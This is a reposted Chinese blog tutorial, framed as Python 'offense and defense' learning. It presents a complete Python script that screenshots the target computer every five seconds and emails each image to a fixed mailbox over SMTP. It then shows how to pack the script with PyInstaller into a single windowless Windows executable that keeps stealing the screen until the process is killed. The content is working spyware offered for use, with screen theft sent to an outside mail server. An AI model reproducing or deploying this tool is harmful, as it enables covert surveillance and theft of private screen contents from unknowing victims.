Python攻防-截取屏幕并自动发送指定邮箱
文章目錄
- 前言
- 屏幕竊取
- 腳本代碼
- 效果演示
- 生成EXE
- 總結
前言
在前面的一篇文章:Python爬蟲-京東商品到貨自動郵件通知 介紹了如何通過 Python 腳本監控京東商品是否到貨并自動發送到貨郵件通知,為了繼續學習 Python 編程語言的應用,本文將記錄學習下如何通過 Python 腳本截取目標機器上的屏幕并自動發送到指定郵箱中。
屏幕竊取
目標腳本的目的是實現定期(每5秒)截取一次電腦屏幕、保存在本地并將其自動發送給自定郵箱。
腳本代碼
最終實現的腳本比較簡單,直接上代碼:
import time import smtplib from PIL import ImageGrab from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart""" 自動發送郵件的函數 """ def smtp_s():fromaddr = '142*******30@qq.com' # 發送方郵箱password = 'bw*************bef' # 開啟郵箱 SMTP 服務后獲取的授權碼toaddrs = ['130******81@163.com'] # 郵件接受方郵箱地址,注意需要[]包裹,這意味著你可以寫多個郵件地址群發content = '正文內容:這是一封來自Python攻防腳本自動發送的電腦屏幕竊取測試郵件!'textApart = MIMEText(content)imageFile = r"1.png" # r表示原生字符,不進行轉義imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截圖.png")m = MIMEMultipart()m.attach(textApart) # 文本m.attach(imageApart) # 發送圖片附件m['Subject'] = '主題:Python屏幕監控郵件'm['From'] = "Tr0e"try:server = smtplib.SMTP('smtp.qq.com')server.login(fromaddr, password)server.sendmail(fromaddr, toaddrs, m.as_string())print('發送成功!')server.quit()except smtplib.SMTPException as e:print('error:', e) # 打印錯誤""" 截取屏幕并保存圖片的函數 """ def imG():i = 1while True:im = ImageGrab.grab()im.save('1.png')print("第%d個屏幕截取成功!" % i)time.sleep(5)i = i + 1smtp_s()if __name__ == '__main__':imG()簡單解釋下上述代碼:
效果演示
在 Pycharm 中編輯并運行上述代碼,運行效果如下:
目標郵箱 130*******81@163.com 收到郵件如下:
生成EXE
下面演示將上述 Python 代碼打包生成 Windows 系統下的 exe 可執行文件。
1、執行命令pip install pyinstaller下載安裝 pyinstaller 庫:
2、若需將 xxx.py 文件打包,只需在文件對應的目錄下運行終端并執行pyinstaller xxx.py命令即可,常用可選項及說明:
3、執行命令pyinstaller -F -w Test.py開始封裝上述竊取屏幕的代碼,隨后會在生成的 dist 文件夾下生成 Test.exe 可執行文件:
4、雙擊運行 Test.exe 可執行文件,同樣能觸發屏幕竊取并發送郵件:
此時郵箱將每隔 5 秒收到一封郵件……需要暫定發件的話需要手動在任務管理器里終止 Test.exe 的進程任務。
總結
本文所演示的代碼不足 50 行,卻實現了從自動定時截取電腦屏幕、到自動發送郵件的功能,這就是 Python 簡短強悍的功能!后續將繼續結合一些網絡攻防的實際用途,學習并總結 Python 一些有意思的用法。
總結
以上是生活随笔為你收集整理的Python攻防-截取屏幕并自动发送指定邮箱的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 对OSGB倾斜摄影数据进行范围裁剪
- 下一篇: 51单片机定时器(T0/T1)的使用与配